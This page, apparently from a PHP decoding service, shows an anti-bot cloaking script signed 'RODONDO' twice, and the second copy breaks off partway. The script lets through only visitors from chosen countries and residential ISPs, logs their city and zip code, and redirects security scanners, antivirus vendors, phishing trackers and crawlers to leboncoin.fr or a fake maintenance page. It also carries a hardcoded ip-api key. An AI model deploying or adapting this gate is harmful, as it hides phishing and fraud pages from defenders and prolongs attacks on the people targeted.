Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // Making by RODONDO // Telegram : @rodondo1er $ip = ""; if (!empty($_SERVER['HT..
Decoded Output download
<?php
// Making by RODONDO
// Telegram : @rodondo1er
$ip = "";
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
function countryAllow($countryCode,$ip){
$ipInfo = @json_decode(file_get_contents("http://pro.ip-api.com/json/{$ip}?key=HZx1BQH1kPy6wEL"));
$ipCode = $ipInfo->countryCode;
if($countryCode == $ipCode){
return true;
}
return false;
}
if(
countryAllow("CI",$ip) ||
countryAllow("FR",$ip) ||
countryAllow("MQ",$ip) ||
countryAllow("GY",$ip) ||
countryAllow("GF",$ip) ||
countryAllow("GP",$ip) ||
countryAllow("RE",$ip) ||
countryAllow("WF",$ip) ||
countryAllow("YT",$ip) ||
countryAllow("PF",$ip) ||
countryAllow("YT",$ip) ||
countryAllow("CH",$ip) ||
countryAllow("DE",$ip) ||
countryAllow("GB",$ip) ||
countryAllow("BE",$ip) ||
countryAllow("ES",$ip) ||
countryAllow("IT",$ip) ||
countryAllow("AU",$ip) ||
countryAllow("AE",$ip) ||
countryAllow("CA",$ip))
{
}else{
echo '<html><head>
<META HTTP-EQUIV="refresh" CONTENT="0.01;URL=https://leboncoin.fr">
</head><body>
<h1>Not Found 404</h1>
<p>the server is now under maintenance ...</p>
</body></html>';
exit;
}
$ip = $_SERVER['REMOTE_ADDR'];
$_SESSION['ip'] = $ip;
function getIpInfo($ip = '') {
$ipinfo = file_get_contents("http://pro.ip-api.com/json/{$ip}?key=HZx1BQH1kPy6wEL");
$ipinfo_json = json_decode($ipinfo, true);
return $ipinfo_json;
}
$visitor_ip = $_SERVER['REMOTE_ADDR'];
$ipinfo_json = getIpInfo($visitor_ip);
$org = "{$ipinfo_json['as']}";
$isps = "{$ipinfo_json['isp']}";
$_SESSION['Ucity'] = "{$ipinfo_json['city']}";
$_SESSION['Uzip'] = "{$ipinfo_json['zip']}";
if(
strpos(strtolower($org),"orange") ||
strpos(strtolower($org),"sfr") ||
strpos(strtolower($org),"numericable") ||
strpos(strtolower($org),"bbox") ||
strpos(strtolower($org),"bouygues") ||
strpos(strtolower($org),"free") ||
strpos(strtolower($org),"proxad") ||
strpos(strtolower($org),"lycatel") ||
strpos(strtolower($org),"lycamobile") ||
strpos(strtolower($org),"wanadoo") ||
strpos(strtolower($org),"quantic") ||
strpos(strtolower($org),"proximus") ||
strpos(strtolower($org),"laposte") ||
strpos(strtolower($org),"nrj") ||
strpos(strtolower($org),"sosh") ||
strpos(strtolower($org),"coriolis") ||
strpos(strtolower($org),"moov") ||
strpos(strtolower($org),"mtn") ||
strpos(strtolower($org),"vitis") ||
strpos(strtolower($org),"nordnet") ||
strpos(strtolower($org),"wibox") ||
strpos(strtolower($org),"telecom") ||
strpos(strtolower($org),"tlcom") ||
strpos(strtolower($org),"telecommunication") ||
strpos(strtolower($org),"telecommunications") ||
strpos(strtolower($org),"tlcommunication") ||
strpos(strtolower($org),"telekommunikation") ||
strpos(strtolower($org),"telekommunikations") ||
strpos(strtolower($org),"telekom") ||
strpos(strtolower($org),"club-internet") ||
strpos(strtolower($org),"adsl") ||
strpos(strtolower($org),"ewe") ||
strpos(strtolower($org),"tel") ||
strpos(strtolower($org),"netcologne") ||
strpos(strtolower($org),"xdsl") ||
strpos(strtolower($org),"bigblu") ||
strpos(strtolower($org),"imt") ||
strpos(strtolower($org),"at&t") ||
strpos(strtolower($org),"wifirst") ||
strpos(strtolower($org),"wifi") ||
strpos(strtolower($org),"red") ||
strpos(strtolower($org),"oleane") ||
strpos(strtolower($org),"cic") ||
strpos(strtolower($org),"poste") ||
strpos(strtolower($org),"mutuel") ||
strpos(strtolower($org),"digicel") ||
strpos(strtolower($org),"reunicable") ||
strpos(strtolower($org),"meditelecom") ||
strpos(strtolower($org),"wana") ||
strpos(strtolower($org),"inwi") ||
strpos(strtolower($org),"iam") ||
strpos(strtolower($org),"ozone") ||
strpos(strtolower($org),"axione") ||
strpos(strtolower($org),"vialis") ||
strpos(strtolower($org),"alsatis") ||
strpos(strtolower($org),"comcable") ||
strpos(strtolower($org),"leonix") ||
strpos(strtolower($org),"knet") ||
strpos(strtolower($org),"tutor") ||
strpos(strtolower($org),"covage") ||
strpos(strtolower($org),"teranet") ||
strpos(strtolower($org),"teranet5") ||
strpos(strtolower($org),"celeste") ||
strpos(strtolower($org),"adeli") ||
strpos(strtolower($org),"milkywan") ||
strpos(strtolower($org),"gitoyen") ||
strpos(strtolower($org),"oxid") ||
strpos(strtolower($org),"salt") ||
strpos(strtolower($org),"wimifi") ||
strpos(strtolower($org),"telegraph") ||
strpos(strtolower($org),"dauphin") ||
strpos(strtolower($org),"vodafone") ||
strpos(strtolower($org),"telefonica") ||
strpos(strtolower($org),"masmovil") ||
strpos(strtolower($org),"renater") ||
strpos(strtolower($org),"netcom") ||
strpos(strtolower($org),"colt") ||
strpos(strtolower($org),"eurafibre") ||
strpos(strtolower($org),"fibre") ||
strpos(strtolower($org),"fiber") ||
strpos(strtolower($org),"sewan") ||
strpos(strtolower($org),"axialys") ||
strpos(strtolower($org),"muona") ||
strpos(strtolower($org),"netensia") ||
strpos(strtolower($org),"ecritel") ||
strpos(strtolower($org),"canal") ||
strpos(strtolower($org),"oxyd") ||
strpos(strtolower($org),"exalead") ||
strpos(strtolower($org),"onati") ||
strpos(strtolower($org),"viti") ||
strpos(strtolower($org),"sunrise") ||
strpos(strtolower($org),"wingo") ||
strpos(strtolower($org),"wingo-bedc") ||
strpos(strtolower($org),"bluewin") ||
strpos(strtolower($org),"migros6") ||
strpos(strtolower($org),"migros") ||
strpos(strtolower($org),"cablecom") ||
strpos(strtolower($org),"netplusfr") ||
strpos(strtolower($org),"netplus") ||
strpos(strtolower($org),"ipworldcom") ||
strpos(strtolower($org),"swisscom") ||
strpos(strtolower($org),"migros-genossenschafts-bund") ||
strpos(strtolower($org),"vtx") ||
strpos(strtolower($org),"upc") ||
strpos(strtolower($org),"netplus.ch") ||
strpos(strtolower($org),"worldcom") ||
strpos(strtolower($org),"video2000") ||
strpos(strtolower($org),"fastnet") ||
strpos(strtolower($org),"green.ch") ||
strpos(strtolower($org),"green") ||
strpos(strtolower($org),"dfi") ||
strpos(strtolower($org),"citycable") ||
strpos(strtolower($org),"ntd") ||
strpos(strtolower($org),"sa7") ||
strpos(strtolower($org),"coop") ||
strpos(strtolower($org),"m-budget") ||
strpos(strtolower($org),"mbudget") ||
strpos(strtolower($org),"budget") ||
strpos(strtolower($org),"monzoon") ||
strpos(strtolower($org),"gespot") ||
strpos(strtolower($org),"init7") ||
strpos(strtolower($org),"zattoo") ||
strpos(strtolower($org),"yallo") ||
strpos(strtolower($org),"tele+") ||
strpos(strtolower($org),"teleboy") ||
strpos(strtolower($org),"lebara") ||
strpos(strtolower($org),"iway.ch") ||
strpos(strtolower($org),"iway") ||
strpos(strtolower($org),"teleking") ||
strpos(strtolower($org),"sak") ||
strpos(strtolower($org),"quickline") ||
strpos(strtolower($org),"ewb") ||
strpos(strtolower($org),"netvoip") ||
strpos(strtolower($org),"solnet") ||
strpos(strtolower($org),"thurcom") ||
strpos(strtolower($org),"netconnect") ||
strpos(strtolower($org),"interxs") ||
strpos(strtolower($org),"tv plus") ||
strpos(strtolower($org),"tvplus") ||
strpos(strtolower($org),"tv") ||
strpos(strtolower($org),"o2") ||
strpos(strtolower($org),"kabel") ||
strpos(strtolower($org),"tele2") ||
strpos(strtolower($org),"skydsl") ||
strpos(strtolower($org),"ee") ||
strpos(strtolower($org),"sky") ||
strpos(strtolower($org),"virgin") ||
strpos(strtolower($org),"talktalk") ||
strpos(strtolower($org),"three") ||
strpos(strtolower($org),"voo") ||
strpos(strtolower($org),"scarlet-tis") ||
strpos(strtolower($org),"telenet") ||
strpos(strtolower($org),"combell") ||
strpos(strtolower($org),"coditel") ||
strpos(strtolower($org),"brutele") ||
strpos(strtolower($org),"pccw") ||
strpos(strtolower($org),"destiny") ||
strpos(strtolower($org),"capgemini") ||
strpos(strtolower($org),"sprintlink") ||
strpos(strtolower($org),"verixi") ||
strpos(strtolower($org),"rediris") ||
strpos(strtolower($org),"entidad") ||
strpos(strtolower($org),"xtra") ||
strpos(strtolower($org),"avatel") ||
strpos(strtolower($org),"anxar") ||
strpos(strtolower($org),"xfera") ||
strpos(strtolower($org),"lowi") ||
strpos(strtolower($org),"yoigo") ||
strpos(strtolower($org),"italia") ||
strpos(strtolower($org),"tim") ||
strpos(strtolower($org),"windtre") ||
strpos(strtolower($org),"vodaphone") ||
strpos(strtolower($org),"fastweb") ||
strpos(strtolower($org),"garr") ||
strpos(strtolower($org),"tiscali") ||
strpos(strtolower($org),"etisalat") ||
strpos(strtolower($org),"itissalat") ||
strpos(strtolower($org),"pjsc") ||
strpos(strtolower($org),"horizonsat") ||
strpos(strtolower($org),"higher") ||
strpos(strtolower($org),"telstra") ||
strpos(strtolower($org),"singtel") ||
strpos(strtolower($org),"optus") ||
strpos(strtolower($org),"tpg") ||
strpos(strtolower($org),"iinet") ||
strpos(strtolower($org),"iprimus") ||
strpos(strtolower($org),"verizon") ||
strpos(strtolower($org),"shaw") ||
strpos(strtolower($org),"bell") ||
strpos(strtolower($org),"rogers") ||
strpos(strtolower($org),"telus") ||
strpos(strtolower($org),"videotron") ||
strpos(strtolower($org),"ebox") ||
strpos(strtolower($org),"aerienne") ||
strpos(strtolower($org),"telensia") ||
strpos(strtolower($org),"convergence") ||
strpos(strtolower($org),"convergence.com") ||
strpos(strtolower($org),"plt") ||
strpos(strtolower($org),"kiwi") ||
strpos(strtolower($org),"numerisat") ||
strpos(strtolower($org),"nerim") ||
strpos(strtolower($org),"keyyo") ||
strpos(strtolower($org),"lorraine") ||
strpos(strtolower($org),"faimaison") ||
strpos(strtolower($org),"aquilenet") ||
strpos(strtolower($org),"stolon") ||
strpos(strtolower($org),"gixe") ||
strpos(strtolower($org),"tetaneutral.net") ||
strpos(strtolower($org),"declaree") ||
strpos(strtolower($org),"gandi") ||
strpos(strtolower($org),"alsace") ||
strpos(strtolower($org),"neutre") ||
strpos(strtolower($org),"aurore") ||
strpos(strtolower($org),"auvernet") ||
strpos(strtolower($org),"absolight") ||
strpos(strtolower($org),"hivane") ||
strpos(strtolower($org),"grifon") ||
strpos(strtolower($org),"grenode") ||
strpos(strtolower($org),"igwan.net") ||
strpos(strtolower($org),"hurricane") ||
strpos(strtolower($org),"iloth") ||
strpos(strtolower($org),"enst") ||
strpos(strtolower($org),"sames") ||
strpos(strtolower($org),"scani") ||
strpos(strtolower($org),"swissneutralnet") ||
strpos(strtolower($org),"ftth") ||
strpos(strtolower($org),"luxembourg online") ||
strpos(strtolower($org),"post") ||
strpos(strtolower($org),"pt-lu") ||
strpos(strtolower($org),"cegecom") ||
strpos(strtolower($org),"visual") ||
strpos(strtolower($org),"telkea") ||
strpos(strtolower($org),"edpnet") ||
strpos(strtolower($org),"tango") ||
strpos(strtolower($org),"altushost") ||
strpos(strtolower($org),"heliantis") ||
strpos(strtolower($org),"airmob") ||
strpos(strtolower($org),"alcatraz") ||
strpos(strtolower($org),"altsysnet") ||
strpos(strtolower($org),"armor") ||
strpos(strtolower($org),"connexia") ||
strpos(strtolower($org),"arelion") ||
strpos(strtolower($org),"ariege") ||
strpos(strtolower($org),"atos") ||
strpos(strtolower($org),"capaix") ||
strpos(strtolower($org),"sncf") ||
strpos(strtolower($org),"completel") ||
strpos(strtolower($org),"saclay") ||
strpos(strtolower($org),"moselle-telecom") ||
strpos(strtolower($org),"teloise") ||
strpos(strtolower($org),"telwan") ||
strpos(strtolower($org),"weaccess") ||
strpos(strtolower($org),"k-net") ||
strpos(strtolower($org),"kertel") ||
strpos(strtolower($org),"iris64") ||
strpos(strtolower($org),"syma") ||
strpos(strtolower($org),"skylogic") ||
strpos(strtolower($org),"sdnum") ||
strpos(strtolower($org),"pactoo") ||
strpos(strtolower($org),"rezocean") ||
strpos(strtolower($org),"prosoluce") ||
strpos(strtolower($org),"haut-rhin") ||
strpos(strtolower($org),"herault") ||
strpos(strtolower($org),"netiwan") ||
strpos(strtolower($org),"manche") ||
strpos(strtolower($org),"linkt") ||
strpos(strtolower($org),"inolia") ||
strpos(strtolower($org),"izarlink") ||
strpos(strtolower($org),"nomotech") ||
strpos(strtolower($org),"orne") ||
strpos(strtolower($org),"paritel") ||
strpos(strtolower($org),"hub") ||
strpos(strtolower($org),"sct") ||
strpos(strtolower($org),"owentis") ||
strpos(strtolower($org),"communaute") ||
strpos(strtolower($org),"flex") ||
strpos(strtolower($org),"ielo-liazo") ||
strpos(strtolower($org),"airbus") ||
strpos(strtolower($org),"srr") ||
strpos(strtolower($org),"scs") ||
strpos(strtolower($org),"sicae") ||
strpos(strtolower($org),"regie") ||
strpos(strtolower($org),"rostelecom") ||
strpos(strtolower($org),"medialys") ||
strpos(strtolower($org),"c@p") ||
strpos(strtolower($org),"voironnais") ||
strpos(strtolower($org),"koesio") ||
strpos(strtolower($org),"lyre") ||
strpos(strtolower($org),"g3") ||
strpos(strtolower($org),"m-net") ||
strpos(strtolower($org),"fondation") ||
strpos(strtolower($org),"liberty") ||
strpos(strtolower($org),"chello") ||
strpos(strtolower($org),"belgacom") ||
strpos(strtolower($org),"skynet") ||
strpos(strtolower($org),"aol") ||
strpos(strtolower($org),"neuf") ||
strpos(strtolower($org),"darty") ||
strpos(strtolower($org),"bouygue") ||
strpos(strtolower($org),"numris") ||
strpos(strtolower($org),"association") ||
strpos(strtolower($org),"midway's") ||
strpos(strtolower($org),"midway") ||
strpos(strtolower($org),"as8632") ||
strpos(strtolower($org),"hotcity") ||
strpos(strtolower($org),"c.r.t.") ||
strpos(strtolower($org),"crt.") ||
strpos(strtolower($org),"beauchiere") ||
strpos(strtolower($org),"telandgo") ||
strpos(strtolower($org),"regies") ||
strpos(strtolower($org),"radiotelephone") ||
strpos(strtolower($org),"outremer") ||
strpos(strtolower($org),"wifiber") ||
strpos(strtolower($org),"wifiber.es") ||
strpos(strtolower($org),"wifiberes") ||
strpos(strtolower($org),"tecnotel") ||
strpos(strtolower($org),"television") ||
strpos(strtolower($org),"tcable") ||
strpos(strtolower($org),"astra") ||
strpos(strtolower($org),"g-core") ||
strpos(strtolower($org),"serveurcom") ||
$ip == "::1" ||
$ip == "127.0.0.1"
)
{
}
else{
echo '<html><head>
<META HTTP-EQUIV="refresh" CONTENT="0.01;URL=https://leboncoin.fr">
</head><body>
<h1>Not Found 404</h1>
<p>the server is now under maintenance ...</p>
</body></html>';
exit;
}
// ...
$Botname = array( // LIST BOOTS NAME
"bot",
"bots",
"httrack",
"organicos",
"hyperbrowser",
"java1.1.4",
"above",
"google",
"googlebot",
"googlebot.com",
"googleusercontent",
"googleusercontent.com",
"softlayer",
"amazonaws",
"aws",
"cyveillance",
"compatible",
"urlscan",
"urlscan.io",
"fban",
"fban/messengerlite",
"facebot",
"facebook",
"facebookexternalhit/1.1",
"+http://www.facebook.com/externalhit_uatext.php",
"facebookexternalhit/",
"externalfacebookhit",
"censysinspect",
"censysinspect/",
"censys",
"phishtank",
"dreamhost",
"netpilot",
"calyxinstitute",
"tor-exit",
"apache-httpclient",
"lssrocketcrawler",
"trident",
"x11",
"crawler",
"urlredirectresolver",
"jetbrains",
"sunos",
"ppc",
"spam",
"win95",
"win98",
"windows95",
"windows98",
"acunetix",
"netsparker",
"007ac9",
"008",
"192.comagent",
"200pleasebot",
"360spider",
"4seohuntbot",
"50.nu",
"a6-indexer",
"admantx",
"amznkassocbot",
"aboundexbot",
"aboutusbot",
"abravespider",
"accelobot",
"acoonbot",
"addthis.com",
"adsbot-google",
"mediapartners-google",
"googlebot-image",
"googlebot-mobile",
"googlebot-video",
"bingbot",
"go-http-client",
"go-http-client/1.1",
"http-banner-detection",
"zgrab",
"aiohttp",
"aiohttp/3.6.0",
"python-httpx",
"python-urllib3",
"python-requests",
"python/",
"masscan",
"masscan/",
"baiduspider",
"baiduspider/",
"baiduspider-",
"naverbot",
"ahrefsbot",
"alexabot",
"amagit.com",
"analytics",
"antbot",
"apercite",
"aportworm",
"arabot",
"crawl",
"slurp",
"spider",
"seek",
"accoona",
"acoon",
"adressendeutschland",
"ah-ha.com",
"ahoy",
"altavista",
"ananzi",
"anthill",
"appie",
"arachnophilia",
"arale",
"araneo",
"aranha",
"architext",
"aretha",
"arks",
"asterias",
"atlocal",
"atn",
"atomz",
"augurfind",
"backrub",
"bannana_bot",
"baypup",
"bdfetch",
"bigbrother",
"biglotron",
"bjaaland",
"blackwidow",
"blaiz",
"blog",
"blo.",
"bloodhound",
"boitho",
"booch",
"bradley",
"butterfly",
"calif",
"cassandra",
"ccubee",
"cfetch",
"charlotte",
"churl",
"cienciaficcion",
"cmc",
"cat-quickheal",
"mcafee",
"mcafee-gw-edition",
"fireeye",
"malwarebytes",
"collective",
"comagent",
"combine",
"computingsite",
"csci",
"curl",
"cusco",
"daumoa",
"deepindex",
"delorie",
"depspid",
"deweb",
"dieblindekuh",
"digger",
"ditto",
"dmoz",
"docomo",
"downloadexpress",
"dtaagent",
"dwcp",
"ebiness",
"ebingbong",
"e-collector",
"ejupiter",
"emacs-w3searchengine",
"esther",
"evliyacelebi",
"ezresult",
"falcon",
"felixide",
"ferret",
"fetchrover",
"fido",
"findlinks",
"fireball",
"fishsearch",
"fouineur",
"funnelweb",
"gazz",
"gcreep",
"genieknows",
"getterroboplus",
"geturl",
"glx",
"goforit",
"golem",
"grabber",
"grapnel",
"gralon",
"griffon",
"gromit",
"grub",
"gulliver",
"hamahakki",
"harvest",
"havindex",
"helix",
"heritrix",
"hkuwwwoctopus",
"homerweb",
"htdig",
"htmlindex",
"html_analyzer",
"htmlgobble",
"hubater",
"hyper-decontextualizer",
"ia_archiver",
"ibm_planetwide",
"ichiro",
"iconsurf",
"iltrovatore",
"image.kapsi.net",
"imagelock",
"incywincy",
"indexer",
"infobee",
"informant",
"ingrid",
"inktomisearch.com",
"inspectorweb",
"intelliagent",
"internetshinchakubin",
"ip3000",
"iron33",
"israeli-search",
"ivia",
"jack",
"jakarta",
"javabee",
"jetbot",
"jumpstation",
"katipo",
"kdd-explorer",
"kilroy",
"knowledge",
"kototoi",
"kretrieve",
"labelgrabber",
"lachesis",
"larbin",
"legs",
"libwww",
"linkalarm",
"linkvalidator",
"linkscan",
"lockon",
"lwp",
"lycos",
"magpie",
"mantraagent",
"mapoftheinternet",
"marvin/",
"mattie",
"mediafox",
"mediapartners",
"mercator",
"merzscope",
"microsofturlcontrol",
"smartscreen.microsoft.com",
"microsoft-defender-smartscreen",
"virus-and-threat-protection",
"microsoft.com",
"microsoft",
"smartscreen",
"gridinsoft",
"robots",
"defender",
"copier",
"webcopier",
"malware",
"safetoopen",
"vipre",
"phishlabs",
"netcraft",
"cyan",
"criminal",
"criminalip",
"criminalip.io",
"zerofox",
"zerofox.com",
"proofpoint",
"proofpoint.com",
"trendmicro",
"trendmicro-housecall",
"trendmicro.com",
"avast",
"avast-mobile",
"clamav",
"cynet",
"ahnlab-v3",
"ahnlab",
"trustwave",
"trustwave.com",
"arcsight",
"zerocert",
"xcitium",
"arcabit",
"superantispyware",
"zonealarm",
"ZoneAlarm by Check Point",
"bkav",
"cybereason",
"escan",
"zillya",
"minirank",
"miva",
"mj12",
"mnogosearch",
"moget",
"monster",
"moose",
"motor",
"multitext",
"muncher",
"muscatferret",
"mwd.search",
"myweb",
"najdi",
"nameprotect",
"nationaldirectory",
"nazilla",
"ncsabeta",
"nec-meshexplorer",
"nederland.zoek",
"netcartawebmapengine",
"netmechanic",
"netresearchserver",
"netscoop",
"newscan-online",
"nhse",
"nokia6682/",
"nomad",
"noyona",
"nutch",
"nzexplorer",
"objectssearch",
"occam",
"omni",
"opentext",
"openfind",
"openintelligencedata",
"orbsearch",
"osis-project",
"packrat",
"pageboy",
"pagebull",
"page_verifier",
"panscient",
"parasite",
"partnersite",
"patric",
"pear.",
"pegasus",
"peregrinator",
"pgpkeyagent",
"phantom",
"phpdig",
"picosearch",
"piltdownman",
"pimptrain",
"pinpoint",
"pioneer",
"piranha",
"plumtreewebaccessor",
"pogodak",
"poirot",
"pompos",
"poppelsdorf",
"poppi",
"populariconoclast",
"psycheclone",
"publisher",
"python",
"rambler",
"ravensearch",
"roach",
"roadrunner",
"roadhouse",
"robbie",
"robofox",
"robozilla",
"rules",
"salty",
"sbider",
"scooter",
"scoutjet",
"scrubby",
"search.",
"searchprocess",
"semanticdiscovery",
"senrigan",
"sg-scout",
"shai'hulud",
"shark",
"shopwiki",
"sidewinder",
"sift",
"silk",
"simmany",
"sitesearcher",
"sitevalet",
"sitetech-rover",
"skymob.com",
"skymob",
"sleek",
"smartwit",
"sna-",
"snappy",
"snooper",
"sohu",
"speedfind",
"sphere",
"sphider",
"spinner",
"spyder",
"steeler/",
"suke",
"suntek",
"supersnooper",
"surfnomore",
"sven",
"sygol",
"szukacz",
"tachblackwidow",
"tarantula",
"templeton",
"/teoma",
"t-h-u-n-d-e-r-s-t-o-n-e",
"theophrastus",
"titan",
"titin",
"tkwww",
"toutatis",
"t-rex",
"tutorgig",
"twiceler",
"twisted",
"ucsd",
"udmsearch",
"urlcheck",
"updated",
"vagabondo",
"valkyrie",
"verticrawl",
"victoria",
"vision-search",
"volcano",
"voyager/",
"voyager-hc",
"w3c_validator",
"w3m2",
"w3mir",
"walker",
"wallpaper",
"wanderer",
"wauuu",
"wavefire",
"webcore",
"webhopper",
"webwombat",
"webbandit",
"webcatcher",
"webcopy",
"webfoot",
"weblayers",
"weblinker",
"weblogmonitor",
"webmirror",
"webmonkey",
"webquest",
"webreaper",
"websitepulse",
"websnarf",
"webstolperer",
"webvac",
"webwalk",
"webwatch",
"webzinger",
"wget",
"wget/",
"whizbang",
"whowhere",
"wildferret",
"worldlight",
"wwwc",
"wwwster",
"xenu",
"xift",
"xirq",
"yandex",
"sentinelone",
"tachyon",
"yanga",
"yeti",
"abusix",
"acronis",
"vba32",
"alyac",
"tachyo",
"zoner",
"tencent",
"adminuslabs",
"aicc",
"monitorapp",
"alienvault",
"alphamountain.ai",
"alphamountain",
"alphasoc",
"antiy-avl",
"avira",
"benkow.cc",
"bfore.ai",
"bfore",
"precrime",
"bitdefender",
"crowdstrike",
"crowdstrike falcon",
"cylance",
"deepinstinct",
"nano-antivirus",
"virobot",
"trustlook",
"trapmine",
"f-secure",
"bitdefenderfalx",
"bitdefendertheta",
"virit",
"cyren",
"symantec",
"symantec mobile insight",
"blocklist",
"blueliv",
"certego",
"chongluadao",
"cinsarmy",
"cmcthreatintelligence",
"crdf",
"cyble",
"cyradar",
"desenmascara.me",
"desenmascara",
"dns8",
"dr.web",
"drweb",
"emergingthreats",
"emsisoft",
"ikarus",
"sangfor engine zero",
"sangfor",
"gdata",
"jiangmin",
"max",
"maxsecure",
"eset",
"eset-nod32",
"nod32",
"estsecurity",
"feodotracker",
"tracker",
"forcepoint",
"threatseeker",
"fortinet",
"avg",
"panda",
"g-data",
"safebrowsing",
"greensnow",
"heimdalsecurity",
"ipsum",
"juniper",
"k7antivirus",
"alibaba",
"k7gw",
"kaspersky",
"lionic",
"elastic",
"microworld-escan",
"malwared",
"malwarepatrol",
"malwares.com",
"malwares",
"checker",
"check",
"openphish",
"phishingdatabase",
"phishing",
"prebytes",
"quickheal",
"secureage",
"quttera",
"rising",
"scantitan",
"scumware.org",
"scumware",
"seclookup",
"securebrain",
"securolytics",
"snort",
"sophos",
"tehtris",
"trellix",
"spam404",
"stopforumspam",
"sucurisitecheck",
"sitecheck.sucuri.net",
"sitecheck",
"sucuri",
"threathive",
"threatsourcing",
"urlhaus",
"threat",
"viriback",
"vxvault",
"webroot",
"0xsi_f33d",
"unrated",
"autoshun",
"cluster25",
"crowdsec",
"lumu",
"phishfort",
"precisionsec",
"urlquery",
"pcrisk.com",
"pcrisk",
"scanner.pcrisk.com",
"webscan",
"malcure",
"securityscan.getastra.com",
"securityscan",
"getastra",
"malcare",
"malware-scan",
"malwarescan",
"virustotal.com",
"virustotal",
"malware-scanning",
"sitelock.com",
"sitelock",
"internetmeasurement",
"internetmeasurement/",
"netcraftsurveyagent",
"netcraftsurveyagent/",
"feeder.co",
"+feeder.co",
"+feeder.co/crawler",
"Palo Alto Networks",
"a palo alto networks company",
"paloaltonetworks.com",
"paloaltonetworks",
"[email protected]",
"yandexbot",
"yandexmobilebot",
"yandexvideo",
"yandexwebmaster",
"yandexsitelinks",
"seznambot",
"twitterbot",
"telegrambot",
"adidxbot",
"yahoo pipes 1.0",
"htdig/3.1.6",
"teleport pro",
"yacybot",
"browsershots",
"exabot",
"fast corporate crawler",
"psnsearch",
"magpierss",
"magpie-crawler/1.1",
"magpie-crawler",
"haosouspider",
"sogou web spider",
"sogou inst spider",
"sogou spider2",
"hcgov-prodtwo-gsa-crawler",
"hcgov-prodone-gsa-crawler",
"duckduckbot",
"webtech",
"webtech/1.2.8",
"yahoo!");
foreach ($Botname as $word2) {
if (stripos($_SERVER['HTTP_USER_AGENT'],$word2)){
exit(header('Location: https://leboncoin.fr'));
}
}
// Making by RODONDO
// Telegram : @rodondo1er
?>Did this file decode correctly?
Original Code
<?php
// Making by RODONDO
// Telegram : @rodondo1er
$ip = "";
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
function countryAllow($countryCode,$ip){
$ipInfo = @json_decode(file_get_contents("http://pro.ip-api.com/json/{$ip}?key=HZx1BQH1kPy6wEL"));
$ipCode = $ipInfo->countryCode;
if($countryCode == $ipCode){
return true;
}
return false;
}
if(
countryAllow("CI",$ip) ||
countryAllow("FR",$ip) ||
countryAllow("MQ",$ip) ||
countryAllow("GY",$ip) ||
countryAllow("GF",$ip) ||
countryAllow("GP",$ip) ||
countryAllow("RE",$ip) ||
countryAllow("WF",$ip) ||
countryAllow("YT",$ip) ||
countryAllow("PF",$ip) ||
countryAllow("YT",$ip) ||
countryAllow("CH",$ip) ||
countryAllow("DE",$ip) ||
countryAllow("GB",$ip) ||
countryAllow("BE",$ip) ||
countryAllow("ES",$ip) ||
countryAllow("IT",$ip) ||
countryAllow("AU",$ip) ||
countryAllow("AE",$ip) ||
countryAllow("CA",$ip))
{
}else{
echo '<html><head>
<META HTTP-EQUIV="refresh" CONTENT="0.01;URL=https://leboncoin.fr">
</head><body>
<h1>Not Found 404</h1>
<p>the server is now under maintenance ...</p>
</body></html>';
exit;
}
$ip = $_SERVER['REMOTE_ADDR'];
$_SESSION['ip'] = $ip;
function getIpInfo($ip = '') {
$ipinfo = file_get_contents("http://pro.ip-api.com/json/{$ip}?key=HZx1BQH1kPy6wEL");
$ipinfo_json = json_decode($ipinfo, true);
return $ipinfo_json;
}
$visitor_ip = $_SERVER['REMOTE_ADDR'];
$ipinfo_json = getIpInfo($visitor_ip);
$org = "{$ipinfo_json['as']}";
$isps = "{$ipinfo_json['isp']}";
$_SESSION['Ucity'] = "{$ipinfo_json['city']}";
$_SESSION['Uzip'] = "{$ipinfo_json['zip']}";
if(
strpos(strtolower($org),"orange") ||
strpos(strtolower($org),"sfr") ||
strpos(strtolower($org),"numericable") ||
strpos(strtolower($org),"bbox") ||
strpos(strtolower($org),"bouygues") ||
strpos(strtolower($org),"free") ||
strpos(strtolower($org),"proxad") ||
strpos(strtolower($org),"lycatel") ||
strpos(strtolower($org),"lycamobile") ||
strpos(strtolower($org),"wanadoo") ||
strpos(strtolower($org),"quantic") ||
strpos(strtolower($org),"proximus") ||
strpos(strtolower($org),"laposte") ||
strpos(strtolower($org),"nrj") ||
strpos(strtolower($org),"sosh") ||
strpos(strtolower($org),"coriolis") ||
strpos(strtolower($org),"moov") ||
strpos(strtolower($org),"mtn") ||
strpos(strtolower($org),"vitis") ||
strpos(strtolower($org),"nordnet") ||
strpos(strtolower($org),"wibox") ||
strpos(strtolower($org),"telecom") ||
strpos(strtolower($org),"tlcom") ||
strpos(strtolower($org),"telecommunication") ||
strpos(strtolower($org),"telecommunications") ||
strpos(strtolower($org),"tlcommunication") ||
strpos(strtolower($org),"telekommunikation") ||
strpos(strtolower($org),"telekommunikations") ||
strpos(strtolower($org),"telekom") ||
strpos(strtolower($org),"club-internet") ||
strpos(strtolower($org),"adsl") ||
strpos(strtolower($org),"ewe") ||
strpos(strtolower($org),"tel") ||
strpos(strtolower($org),"netcologne") ||
strpos(strtolower($org),"xdsl") ||
strpos(strtolower($org),"bigblu") ||
strpos(strtolower($org),"imt") ||
strpos(strtolower($org),"at&t") ||
strpos(strtolower($org),"wifirst") ||
strpos(strtolower($org),"wifi") ||
strpos(strtolower($org),"red") ||
strpos(strtolower($org),"oleane") ||
strpos(strtolower($org),"cic") ||
strpos(strtolower($org),"poste") ||
strpos(strtolower($org),"mutuel") ||
strpos(strtolower($org),"digicel") ||
strpos(strtolower($org),"reunicable") ||
strpos(strtolower($org),"meditelecom") ||
strpos(strtolower($org),"wana") ||
strpos(strtolower($org),"inwi") ||
strpos(strtolower($org),"iam") ||
strpos(strtolower($org),"ozone") ||
strpos(strtolower($org),"axione") ||
strpos(strtolower($org),"vialis") ||
strpos(strtolower($org),"alsatis") ||
strpos(strtolower($org),"comcable") ||
strpos(strtolower($org),"leonix") ||
